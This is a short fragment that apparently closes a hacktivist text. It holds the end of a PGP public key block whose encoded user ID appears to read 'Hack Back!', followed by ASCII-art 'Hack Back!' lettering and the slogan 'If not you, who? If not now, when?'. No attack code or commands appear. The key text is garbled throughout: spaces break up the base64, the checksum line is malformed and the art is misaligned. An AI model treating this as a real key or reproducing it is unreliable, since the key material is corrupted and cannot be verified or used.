27QIfOJGLFhzYm2GYWIiKr88y95YLJxvrMNmJEDwonTECY68RNaoohjy / TcdWA8x
+ FCM4OHxM4AwkqqbaAtqUwAJ3Wxr + Hr / 3KV + UNV1lBPIGGVSnV + OA4m8XWaPE73h
VYMVbIkJzOXK9enaXyiGKL8LdOHonz5LaGraRousmiu8JCc6HwLHWJLrkcTI9lP8
Ms3gckaJ30JnPc / qGSaFqvl4pJbx / CK6CwqrABEBAAG0IEhhY2sgQmFjayEgPGhh
Y2tiYWNrNrQHJpc2V1cC5uZXQ + iQE3BBMBCgAhBQJXAvPFAhsDBQsJCAcDBRUKCQgL
BRYCAwEAAh4BAheAAAoJEDScPRHoqSXQoTwIAI8YFRdTptbyEl6Khk2h8 + cr3tac
QdqVNDdp6nbP2rVPW + o3DeTNg0R + 87NAlGWPg17VWxsYoa4ZwKHdD / tTNPk0Sldf
CQE + IBfSaO0084d6nvSYTpd6iWBvCgJ1iQQwCq0oTgROzDURvWZ6lwyTZ8XK1KF0
JCloCSnbXB8cCemXnQLZwjGvBVgQyaF49rHYn9 + edsudn341oPB + 7LK7I8vj5Pys
4eauRd / XzYqxqNzlQ5ea6MZuZZL9PX8eN2obJzGaK4qvxQ31uDh / YiP3MeBzFJX8
// X2NYUOYWm3oxiGQohoAn BVHtk2Xf7hxAY4bbDEQEoDLSPybZEXugzM6gC5AQ0E
VWnfswEIANaqa8fFyiiXYWJVizUsVGbjTTO7WfuNflg4F / q / HQBYfl4ne3edL2Ai
oHOGg0OMNuhNrs56eLRyB / 6IjM3TCcfn074HL37eDT0Z9p + rbxPDPFOJAMFYyyjm
n5a6HfmctRzjEXccKFaqlwalhnRP6MRFZGKU6 + x1nXbiW8sqGEH0a / VdCR3 / CY5F
Pbvmhh894wOzivUlP86TwjWGxLu1kHFo7JDgp8YkRGsXv0mvFav70QXtHIlxOAy9
WlBP72gPyiWQ / fSUuoM + WDrMZZ9ETt0j3Uwx0Wo42ZoOXmbAd2jgJXSI9 + 9e4YUo
jYYjoU4ZuX77iM3 + VWW1J1xJujOXJ / sAEQEAAYkBHwQYAQIACQUCVWnfswIbDAAK
CRA0nD0R6KkI0ArYB / 47LnABkz / t6M1PwOFvDN3e2JNgS1QV2YpBdog1hQj6RiEA
OoeQKXTEYaymUwYXadSj7oCFRSyhYRvSMb4GZBa1bo8RxrrTVa0vZk8uA0DB1ZZR
LWvSR7nwcUkZglZCq3Jpmsy1VLjCrMC4hXnFeGi9AX1fh28RYHudh8pecnGKh + Gi
JKp0XtOqGF5NH / Zdgz6t vuwWQaubMJTRdMTGhaRv + ++ + Z8U jlzKOiO9YtPNamHRq
Mf2vA3oqf22vgWQbK1MOK / 4Tp6MGg / VR2SaKAsqyAZC7I5TeoSPN5HdEgA7u5GpB
D0lLGUSkx24yD1sIAGEZ4B57VZNBS0az8HoQeF0k
E5 = + and
----- END PGP PUBLIC KEY BLOCK -----
```

```
        If not you, who? If not now, when?
     ____ _ _ _ _ _
    | | | | __ _ ___ | | __ | __) __ _ ___ | | _ | |
    | | _ | | / _` | / __ | | / / | _ \ / _` | / __ | | / / |
    | _ | (_ | | (__ | <| | _) | (_ | | (__ | <| _ |
    | _ | | _ | \ __, _ | \ ___ | _ | \ _ \ | ____ / \ __, _ | \ ___ | _ | \ _ (_)
```